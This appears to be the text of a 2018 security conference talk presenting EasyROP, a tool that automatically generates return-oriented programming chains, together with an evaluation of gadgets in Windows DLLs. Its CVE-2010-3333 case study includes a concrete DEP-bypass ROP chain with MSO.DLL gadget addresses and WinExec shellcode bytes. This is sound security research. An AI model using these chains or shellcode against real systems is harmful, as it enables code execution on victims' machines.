When ROP meets Turing: Automatic Generation of ROP Chains using Turing-Complete Instruction Sets

Daniel Uroz, Ricardo J. Rodríguez
danieluroz@protonmail.com, rjrodriguez@unizar.es

© All wrongs reversed

Centro Universitario de la Defensa Zaragoza

April 13, 2018

HITB 2018
Amsterdam, Netherlands
BSc. in Informatics (2016)

Junior malware analyst

Researcher at University of Zaragoza

Ph.D. in Comp. Sc. (2013)

Assistant Professor at Centro Universitario de la Defensa, General Military Academy (Zaragoza, Spain)

Research interests

- Security-driven engineering
- Malware analysis
- RFID/NFC security
Agenda

1. Introduction

2. EasyROP: Description of the tool

3. Executional Adversary Power in Windows OSes

4. Case Study: CVE-2010-3333

5. Conclusions
Agenda

1 Introduction

2 EasyROP: Description of the tool

3 Executional Adversary Power in Windows OSes

4 Case Study: CVE-2010-3333

5 Conclusions
Introduction

- Software systems are large and complex
- Fixed time-to-market urges developers to finish as soon as possible
  - Who cares of software quality? (or other attributes)
- Consequence: software vulnerabilities on the rise
  - 6 to 16 software bugs per 1,000 lines of code (approximately)
Introduction

Presence of software memory errors $\rightarrow$ control-flow hijacking attacks

- Legitimate control-flow of the program is hijacked
- Arbitrary code inserted AND executed by the adversary
Introduction

Presence of software memory errors → control-flow hijacking attacks

- Legitimate control-flow of the program is hijacked
- Arbitrary code inserted AND executed by the adversary

Different defense approaches

- Control-flow integrity approaches (e.g., type-safe languages, stack cookies, inline software guards)
- Isolate malicious code prior execution (e.g., tainting, run-time elimination, \( W \oplus X \))

Further reading:

Introduction

W⊕X – Write-xor-Execute memory pages

- Widely used defense mechanism against control-flow hijacking attacks
  - Almost every current OS incorporates it natively
Introduction

$W \oplus X$ – Write-xor-Execute memory pages

- Widely used defense mechanism against control-flow hijacking attacks
  - Almost every current OS incorporates it natively
- **Concept**: memory pages are either writable or executable, but not both
  - An adversary can still inject code, **but its execution is prevented**
Introduction

W⊕X – Write-xor-Execute memory pages

Hardware support
- **NX-bit** on AMD Athlon 64
- **XD-bit** on Intel P4 Prescott

Software support
- **Linux** (via PaX project); OpenBSD
- **Windows (from XP SP2 onward)** (aka Data Execution Prevention, DEP)
  - Windows ♥ to rename every f***ing single thing

---

**Image 1:**

.NO NO, KEEP GOING.

**Image 2:**

.I WANT TO HEAR MORE ABOUT IT.
Introduction

Defeating $W \oplus X$ protection

Control-flow is redirected to the stack

- $W \oplus X$ prevents execution. Roughly speaking, you (as attacker) are fucked
Introduction

Defeating $W \oplus X$ protection

Control-flow is redirected to the stack

- $W \oplus X$ prevents execution. Roughly speaking, you (as attacker) are fucked

\textit{Wait a minute!}
Introduction

Defeating $W \oplus X$ protection

**Control-flow is redirected to the stack**

- $W \oplus X$ prevents execution. Roughly speaking, you (as attacker) are fucked

*Wait a minute!*

**IDEA**

Since we can write the stack... and stack also stores the return addresses of the control-flow when (legitimately) diverted... can we use memory addresses pointing to ALREADY EXISTING code? → Yes!
Introduction

Defeating $W \oplus X$ protection

Control-flow is redirected to the stack

- $W \oplus X$ prevents execution. Roughly speaking, you (as attacker) are fucked

*Wait a minute!*

### IDEA

Since we can write the stack... and stack also stores the return addresses of the control-flow when (legitimately) diverted... *can we use memory addresses pointing to ALREADY EXISTING code?* → Yes!

**Return-Oriented Programming** (ROP)
Introduction

Defeating \(W \oplus X\) protection

**Control-flow is redirected to the stack**

- \(W \oplus X\) prevents execution. Roughly speaking, you (as attacker) are fucked

*Wait a minute!*

**IDEA**

Since we can write the stack... and stack also stores the return addresses of the control-flow when (legitimately) diverted... **can we use memory addresses pointing to ALREADY EXISTING code?** → **Yes!**

**Return-Oriented Programming** (ROP)

- In memory pages that already have execution privileges
- Since these pages can execute, **they are not captured by \(W \oplus X\) protection**
Introduction

Defeating $W \oplus X$ protection

Control-flow is redirected to the stack

- $W \oplus X$ prevents execution. Roughly speaking, you (as attacker) are fucked

Wait a minute!

IDEA

Since we can write the stack... and stack also stores the return addresses of the control-flow when (legitimately) diverted... can we use memory addresses pointing to ALREADY EXISTING code? → Yes!

Return-Oriented Programming (ROP)

- In memory pages that already have execution privileges
- Since these pages can execute, they are not captured by $W \oplus X$ protection

ROP enables an adversary to induce arbitrary execution behavior while injecting no code (just pointers to existing code!)
Return-Oriented-Programming attacks

ROP attacks

- Hijack control-flow **without** executing new code
- Redirect control-flow to chunks of code already available in the memory space of the process
  - Recall **x86 ISA has variable size!**
  - ROP gadget: set of instructions that ends with `retn`
Introduction

Return-Oriented-Programming attacks

ROP attacks

- Hijack control-flow **without** executing new code
- Redirect control-flow to chunks of code already available in the memory space of the process
  - Recall x86 ISA has variable size!
  - ROP gadget: set of instructions that ends with `ret`

```
b8  89  41  08  c3     mov eax, 0xc3084189

89  41  08     mov [ecx+8], eax
  c3   ret
```
Introduction

Return-Oriented-Programming attacks

ROP attacks

- Hijack control-flow without executing new code
- Redirect control-flow to chunks of code already available in the memory space of the process

  - Recall x86 ISA has variable size!
  - ROP gadget: set of instructions that ends with `retn`

```
| b8 89 41 08 c3 | mov eax, 0xc3084189 |
| 89 41 08       | mov [ecx+8], eax    |
| c3             | ret                 |
|                |                     |
|                | esp →               |
|                | 0x7c37638d          |
|                | → pop ecx; ret      |
|                | 0xF13C1A02          |
|                | → pop edx; ret      |
|                | 0x7c341591          |
|                | 0xBAADF00D          |
|                | → xor eax, eax; ret|
|                | 0x7c367042          |
|                | → add eax, ecx; ret |
|                | 0x7c34779f          |
|                | → mov ebx, eax; ret |
|                | 0x7c347f97          |
```

Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez)
Introduction

- Adversary controls the order of execution of ROP gadgets
- **ROP chain**: set of ROP gadgets chained by the adversary
Introduction

- **Adversary controls the order of execution of ROP gadgets**

- **ROP chain**: set of ROP gadgets chained by the adversary

- **How to defeat the \( W \oplus X \) protection?**
  - Build a ROP chain to deactivate the protection! First, set CPU registers to specific values. Then,
    - Execute `memprot()` syscall (in GNU/Linux)
    - Execute `SetDEPPProcessPolicy()` (in Windows)
    - ...
Introduction

- **Adversary controls the order of execution of ROP gadgets**

- **ROP chain**: set of ROP gadgets chained by the adversary

- **How to defeat the \( W\oplus X \) protection?**

  - Build a ROP chain to deactivate the protection! First, set CPU registers to specific values. Then,
    - Execute `memprot()` syscall (in GNU/Linux)
    - Execute `SetDEPProcessPolicy()` (in Windows)
    - ...

**Executional adversary power**

- The already existing code in the process’s memory space determines what the adversary can do
Introduction

Church-Turing hypothesis

Any real world computation can be translated into an equivalent computation involving a Turing machine
Introduction

Church-Turing hypothesis

Any real world computation can be translated into an equivalent computation involving a Turing machine

Under this hypothesis, we can build a type of Turing-machine (namely, Random-access machine) that performs equivalent computations as the ones performed by a ROP chain
Introduction

Random-access machine (RAM) operations

- Load a constant into a register (lc)
- Move a register to another register (move)
- Load a value from memory (load)
- Store a value into memory (store)
- Add and subtract a value from memory (add and sub, respectively)
- Perform logic operations (xor, and, or, not)
  - Simplification by De Morgan’s Laws: and/or + xor/not
- Perform conditional branches (cond1, cond2)
  - First, transfer the value of a conditional flag to a general purpose register
  - Then, use such a register as an offset to modify the stack pointer register
**WORK HYPOTHESIS**

If we find at least a single ROP gadget that performs each of those operations, we can solve any computational problem.
Introduction

**Work Hypothesis**

*If we find at least a single ROP gadget that performs each of those operations, we can solve any computational problem*

**Random-access machine operations defined as ROP gadgets**

| xchg dst, src; ret; | push src; pop dst; ret; | xor dst, dst; ret; add dst, src; ret; | xor dst, dst; ret; neg src; ret; sub dst, src; ret; |

Examples of *Move a register to another register (move) operation*
Introduction

Goal: evaluate the executional adversary power
Introduction

**Goal:** evaluate the executional adversary power

Main contributions

- **EasyROP tool**
  - *Input:* binary + ROP chain (specified as random-access machine operations in a text file)
  - *Output:* ROP gadgets to implement such a chain

- **Evaluation of the executional adversary power in Windows OSes**
  - Still the predominant platform of attacks
  - We consider Windows in 32-bits and 64-bits flavors

- **Example of ROP chain generation with a real vulnerability**
  - Namely, CVE-2010-3333
Agenda

1 Introduction

2 EasyROP: Description of the tool

3 Executional Adversary Power in Windows OSes

4 Case Study: CVE-2010-3333

5 Conclusions
EasyROP: Tool Description

- Multi-platform
- Automate ROP chains using sequences of Turing operations
- Allow extension (other architectures, user-defined operations)
EasyROP: Tool Description

- Multi-platform
- Automate ROP chains using sequences of Turing operations
- Allow extension (other architectures, user-defined operations)

External tools used

- Python3 + pefile
- Capstone Disassembly Framework
  - Our tool is part of the Capstone’s showcases!
- XML
EasyROP: Description of the tool

Features

Automate the creation of ROP chains

\[
\begin{align*}
\text{lc}(\text{ecx}) \\
\text{lc}(\text{edx}) \\
\text{move}(\text{reg3}, \text{ecx}) \\
\text{move}(\text{reg4}, \text{reg3})
\end{align*}
\]
EasyROP: Description of the tool

Features

Automate the creation of ROP chains

\[
\begin{align*}
\text{lc(ecx)} & \quad \rightarrow \quad \text{pop ecx; ret} \\
\text{lc(edx)} & \quad \rightarrow \quad \text{pop edx; ret} \\
\text{move(reg3, ecx)} & \quad \rightarrow \quad \text{xor eax, eax; ret} \\
\text{move(reg4, reg3)} & \quad \rightarrow \quad \text{add eax, ecx; ret} \\
\end{align*}
\]
Creation of **user-specified operations** (supports XML)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE operations [ 
  <!ELEMENT operations (operation)+>  
  <!ELEMENT operation (set)+>  
  <!ATTLIST operation 
    name CDATA #REQUIRED>  
  <!ELEMENT set (ins)+>  
  <!ELEMENT ins (reg1|reg2)*>  
  <!ATTLIST ins 
    mnemonic CDATA #REQUIRED>  
  <!ELEMENT reg1 (#PCDATA)>  
  <!ATTLIST reg1 
    value CDATA #IMPLIED>  
  <!ELEMENT reg2 (#PCDATA)>  
  <!ATTLIST reg2 
    value CDATA #IMPLIED>  
]> 
```
Creation of user-specified operations (supports XML)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE operations [ 
  <!ELEMENT operations (operation)[]>
  <!ELEMENT operation (set)[]>
  <!ATTLIST operation
    name CDATA #REQUIRED>
  <!ELEMENT set (ins)[]>
  <!ELEMENT ins (reg1|reg2)[]>
  <!ATTLIST ins
    mnemonic CDATA #REQUIRED>
  <!ELEMENT reg1 (#PCDATA)>
  <!ATTLIST reg1
    value CDATA #IMPLIED>
  <!ELEMENT reg2 (#PCDATA)>
  <!ATTLIST reg2
    value CDATA #IMPLIED>
]>

<operations>
  <operation name="move">
    <set>
      <ins mnemonic="xor">
        <reg1>dst</reg1>
        <reg2>dst</reg2>
      </ins>
      <ins mnemonic="add">
        <reg1>dst</reg1>
        <reg2>src</reg2>
      </ins>
    </set>
  </operation>
</operations>
```
EasyROP: Description of the tool

Release notes

Released under GNU GPLv3 license, hosted on GitHub:
https://github.com/uZetta27/EasyROP

Give it a try!
Agenda

1. Introduction
2. EasyROP: Description of the tool
3. Executional Adversary Power in Windows OSes
4. Case Study: CVE-2010-3333
5. Conclusions
Executional Adversary Power in Windows OSes
Experimental test-bed

Search for all Random-Access Machine operations on Windows

- **Subset of Known DLLs** Windows object (+ ntdll.dll)
  - Contains most used system DLLs: advapi32.dll, comdlg32.dll, gdi32.dll, kernel32.dll, ole32.dll, rpcrt4.dll, shell32.dll, user32.dll, wldap32.dll
  - ntdll.dll is part of Windows PE loader (always in memory!)

- **Test environment**
  - Intel Core i7, 8GB RAM, 256 GB SSD
  - Oracle VirtualBox: 4GB RAM, 32GB HDD

- **Operating Systems** (32/64 bits)
  - Windows XP Professional
  - Windows 7 Professional
  - Windows 8.1 Pro
  - Windows 10 Education
Executional Adversary Power in Windows OSes
Experimental test-bed

Search for all Random-Access Machine operations on Windows

- **Subset of KnownDLLs Windows object (+ ntdll.dll)**
  - Contains most used system DLLs: advapi32.dll, comdlg32.dll, gdi32.dll, kernel32.dll, ole32.dll, rpcrt4.dll, shell32.dll, user32.dll, wldap32.dll
  - ntdll.dll is part of Windows PE loader (always in memory!)

- **Test environment**
  - Intel Core i7, 8GB RAM, 256 GB SSD
  - Oracle VirtualBox: 4GB RAM, 32GB HDD

- **Operating Systems** (32/64 bits)
  - Windows XP Professional
  - Windows 7 Professional
  - Windows 8.1 Pro
  - Windows 10 Education

Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez)
## Executional Adversary Power in Windows OSes

### Evaluation

<table>
<thead>
<tr>
<th>Version</th>
<th>32-bit</th>
<th>64-bit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows XP</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8.1</td>
<td>✔</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 10</td>
<td>✔</td>
<td>✗</td>
</tr>
</tbody>
</table>

### Summary of results

- `shell32.dll + {ntdll.dll, kernel32.dll}`: **enough gadgets to conform all Random-Access machine operations** (as we defined them)
## Executional Adversary Power in Windows OSes

### Evaluation

<table>
<thead>
<tr>
<th>Version</th>
<th>32-bit</th>
<th>64-bit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows XP</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8.1</td>
<td>✓</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 10</td>
<td>✓</td>
<td>✗</td>
</tr>
</tbody>
</table>

### Summary of results

- `shell32.dll + {ntdll.dll, kernel32.dll}`: **enough gadgets to conform all Random-Access machine operations** (as we defined them)
- **All operations but conditional branches** → **100% in all OSes with just ntdll.dll!!!**
  - ROP gadgets that implement conditional branches can be extended (i.e., results may be better)
Agenda

1. Introduction
2. EasyROP: Description of the tool
3. Executional Adversary Power in Windows OSes
4. Case Study: CVE-2010-3333
5. Conclusions
Case Study: CVE-2010-3333

- **Microsoft Office vulnerability**
  - Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011

- **Disclosed in September 2010**

- Subsequently patched in MS10-087 (published in November 09, 2010)
Case Study: CVE-2010-3333

- **Microsoft Office vulnerability**
  - Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011

- **Disclosed in September 2010**

- Subsequently patched in MS10-087 (published in November 09, 2010)

- **November 2012: attack to NATO’s Special Operations Headquarters**
  - Attack was delivered via **spear phishing attaching a specially crafted Rich Text Format (RTF) document exploiting CVE-2010-333**
  - RTF file starts with the tag “\rtf1” and consists of unformatted text, control words, control symbols, and groups enclosed in braces

```
{\rtf1{
  ....
  {\shp{\sp{\sn pFragments}{\sv value}}}
}
```
Case Study: CVE-2010-3333

- **Microsoft Office vulnerability**
  - Affected versions: Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011

- **Disclosed in September 2010**

- Subsequently patched in MS10-087 (published in November 09, 2010)

- November 2012: attack to NATO’s Special Operations Headquarters
  - Attack was delivered via **spear phishing attaching a specially crafted Rich Text Format (RTF) document exploiting CVE-2010-333**
  - RTF file starts with the tag “{rtf1” and consists of unformatted text, control words, control symbols, and groups enclosed in braces

```text
{\rtf1{
    ....
{\shp{\sp{\sn pFragments}{\sv value}}}{}
}
```

Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez)  April 13, 2018
Case Study: CVE-2010-3333

- **Stack-based BOF in function in charge of parsing RTF file**

- **Example:** MSO.DLL 11.0.5606

  - MD5 251C11444F614DE5FA47ECF7275E7BF1
  - Microsoft Office 2003 suite

```c
1 0x30f4cc5d  push ebp
2 0x30f4cc5e  mov ebp, esp
3 0x30f4cc60  sub esp, 0x14
4 (...)  
5 0x30f4cc93  call dword [eax + 0x1c] ; calls to MSO.30e9eb62
6 0x30f4cc96  mov eax, dword [ebp + 0x14]
7 0x30f4cc99  push dword [ebp + 0x18]
8 0x30f4cc9c  mov edx, dword [ebp - 0x10]
9 0x30f4cc9f  neg eax
10 0x30f4cca1  sbb eax, eax
11 0x30f4cca3  lea ecx, [ebp - 8]
12 0x30f4cca6  and eax, ecx
13 0x30f4cca8  push eax
14 0x30f4cca9  push dword [ebp + 8]
15 0x30f4cccc  call 0x30f4cb1d
16 0x30f4ccbd  test al, al
17 0x30f4ccbf  je 0x30f4cd51
18 (...)  
19 0x30f4cd51  pop esi
20 0x30f4cd52  pop ebx
21 0x30f4cd53  pop edi
22 0x30f4cd54  leave
23 0x30f4cd55  ret 0x14
```
We only need to pass to this function a zero value 😊

- Assume that the function address is known

- After executing it, we can directly jump to our shellcode at the stack
  - We need to know the address of esp value
  - We could also jump to a ROP gadget containing a divert to the stack...
Case Study: CVE-2010-3333

INSTRUCTION SET REFERENCE, N-Z

PUSHA/PUSHAD—Push All General-Purpose Registers

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Instruction</th>
<th>Op/En</th>
<th>64-Bit Mode</th>
<th>Comp/Leg Mode</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>60</td>
<td>PUSHA</td>
<td>A</td>
<td>Invalid</td>
<td>Valid</td>
<td>Push AX, CX, DX, BX, original SP, BP, SI, and DI.</td>
</tr>
<tr>
<td>60</td>
<td>PUSHAD</td>
<td>A</td>
<td>Invalid</td>
<td>Valid</td>
<td>Push EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI.</td>
</tr>
</tbody>
</table>

**CPU state (before pushad)**

- `eax`  
- `ecx`  
- `edx`  
- `ebx`  
- `esp`  
- `ebp`  
- `esi`  
- `edi`  
- `eip`

**Stack state (after pushad)**

- `esp → address1` (value of `edi`)  
- `address1` (value of `esi`)  
- `@SetProcessDEPPolicy()` (value of `ebp`)  
- `address3` (value of `esp`)  
- `00000000` (value of `ebx`)  
- `????` (value of `edx`)  
- `????` (value of `ecx`)  
- `????` (value of `eax`)  
- `address3 → (exploit payload)`

- `(...)`
nop()
lc(edi)
lc(esi)
lc(ebx)
lc(ebp)
pushad()
Case Study: CVE-2010-3333

- **nop()**
- **lc(edi)**
- **lc(esi)**
- **lc(ebx)**
- **lc(ebp)**
- **pushad()**

- **MSO.DLL file as input**
- **No ASLR compatible**
- **Execution parameter -depth 2**
- **~ 72 seconds**

<table>
<thead>
<tr>
<th>SAFESEH Module Scanner</th>
<th>Base</th>
<th>Limit</th>
<th>Module version</th>
<th>OSLR enable</th>
<th>NX enable</th>
<th>Module Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAFESEH OFF</td>
<td>0x39700000</td>
<td>0x397e0000</td>
<td>5.50.30.2002</td>
<td>Off</td>
<td>Off</td>
<td>C:\Program Files\Common Files\microsoft shared\OFFICE11\RICHED20.DLL</td>
</tr>
<tr>
<td>SAFESEH OFF</td>
<td>0x37320000</td>
<td>0x37341000</td>
<td>11.0.5510</td>
<td>Off</td>
<td>Off</td>
<td>C:\PROGRA<del>1\COMMON</del>1\MICROS<del>1\SMART</del>1\FRAME.DLL</td>
</tr>
<tr>
<td>SAFESEH OFF</td>
<td>0x30c90000</td>
<td>0x31a07000</td>
<td>11.0.5616</td>
<td>Off</td>
<td>Off</td>
<td>C:\Program Files\Common Files\microsoft shared\OFFICE11\MSO.DLL</td>
</tr>
<tr>
<td>SAFESEH OFF</td>
<td>0x30000000</td>
<td>0x30ba0000</td>
<td>11.0.5604</td>
<td>Off</td>
<td>Off</td>
<td>C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE</td>
</tr>
<tr>
<td>SAFESEH OFF</td>
<td>0x5f400000</td>
<td>0x400c0000</td>
<td>11.3.1897.0</td>
<td>Off</td>
<td>Off</td>
<td>C:\Windows\System32\spool\drivers\w32x86\3-mdgraph.dll</td>
</tr>
<tr>
<td>SAFESEH OFF</td>
<td>0x2fa0000</td>
<td>0x2fac0000</td>
<td>11.3.1897.0</td>
<td>Off</td>
<td>Off</td>
<td>C:\Windows\System32\spool\drivers\w32x86\3-mdiu.dll</td>
</tr>
<tr>
<td>SAFESEH OFF</td>
<td>0x2f00000</td>
<td>0x2f7d0000</td>
<td>11.0.5315</td>
<td>Off</td>
<td>Off</td>
<td>C:\PROGRA<del>1\COMMON</del>1\MICROS<del>1\SMART</del>1\INLNAME.DLL</td>
</tr>
</tbody>
</table>
Case Study: CVE-2010-3333

```
nop()
...
0x30c92448: ret
lc(edi)
...
nop()
lc(edi)
lc(esi)
lc(ebx)
lc(ebp)
pushad()
...
0x30cae25c: pop edi ; ret
lc(esi)
...
0x30ca32fd: pop esi ; ret
lc(ebx)
...
0x30ca3654: pop ebx ; ret
lc(ebp)
...
0x30ca32d1: pop ebp ; ret
pushad()
...
0x30ce03b5: pushal ; ret
```

Automatic Generation of ROP Chains using Turing-Complete Instruction Sets (D. Uroz, R.J. Rodríguez)
Case Study: CVE-2010-3333

33C0 xor eax, eax
50 push eax
6863616C63 push 'calc'
8BC4 mov eax, esp
6A05 push 5
50 push eax
BFFDE53377 mov edi, kernel32.WinExec
FFD7 call edi

C:\Users\Usuario\Desktop>resolveAPI.exe kernel32 SetProcessDEPPolicy
[+] kernel32.SetProcessDEPPolicy resolves to 0x772e602f <base address 0x772b0000>
C:\Users\Usuario\Desktop>._
Case Study: CVE-2010-3333
Agenda

1. Introduction

2. EasyROP: Description of the tool

3. Executional Adversary Power in Windows OSes

4. Case Study: CVE-2010-3333

5. Conclusions
Conclusions

- **EasyROP tool** ([https://github.com/uZetta27/EasyROP](https://github.com/uZetta27/EasyROP))
  - Automates the construction of a ROP chain specified as Random-Access machine operations
  - Allows user-defined operations using XML

- **Existence of ROP gadgets determines the executional adversary power**
  - Roughly speaking, *what can an adversary perform using ROP attacks?*

- **Evaluation of executional adversary power in different OSes**
  - More in 32-bit than in 64-bit systems
  - **Enough gadgets to conform all Random-Access machine operations** *(shell32.dll + {ntdll.dll, kernel32.dll})*
  - **All operations but conditional branches** *(ntdll.dll)*
  - Note that these results are highly dependable of how we defined the Random-Access machine operations (!)
Conclusions
When ROP meets Turing: Automatic Generation of ROP Chains using Turing-Complete Instruction Sets

Daniel Uroz, Ricardo J. Rodríguez
danieluroz@protonmail.com, rjrodriguez@unizar.es

© All wrongs reversed

Centro Universitario de la Defensa Zaragoza

April 13, 2018

HITB 2018
Amsterdam, Netherlands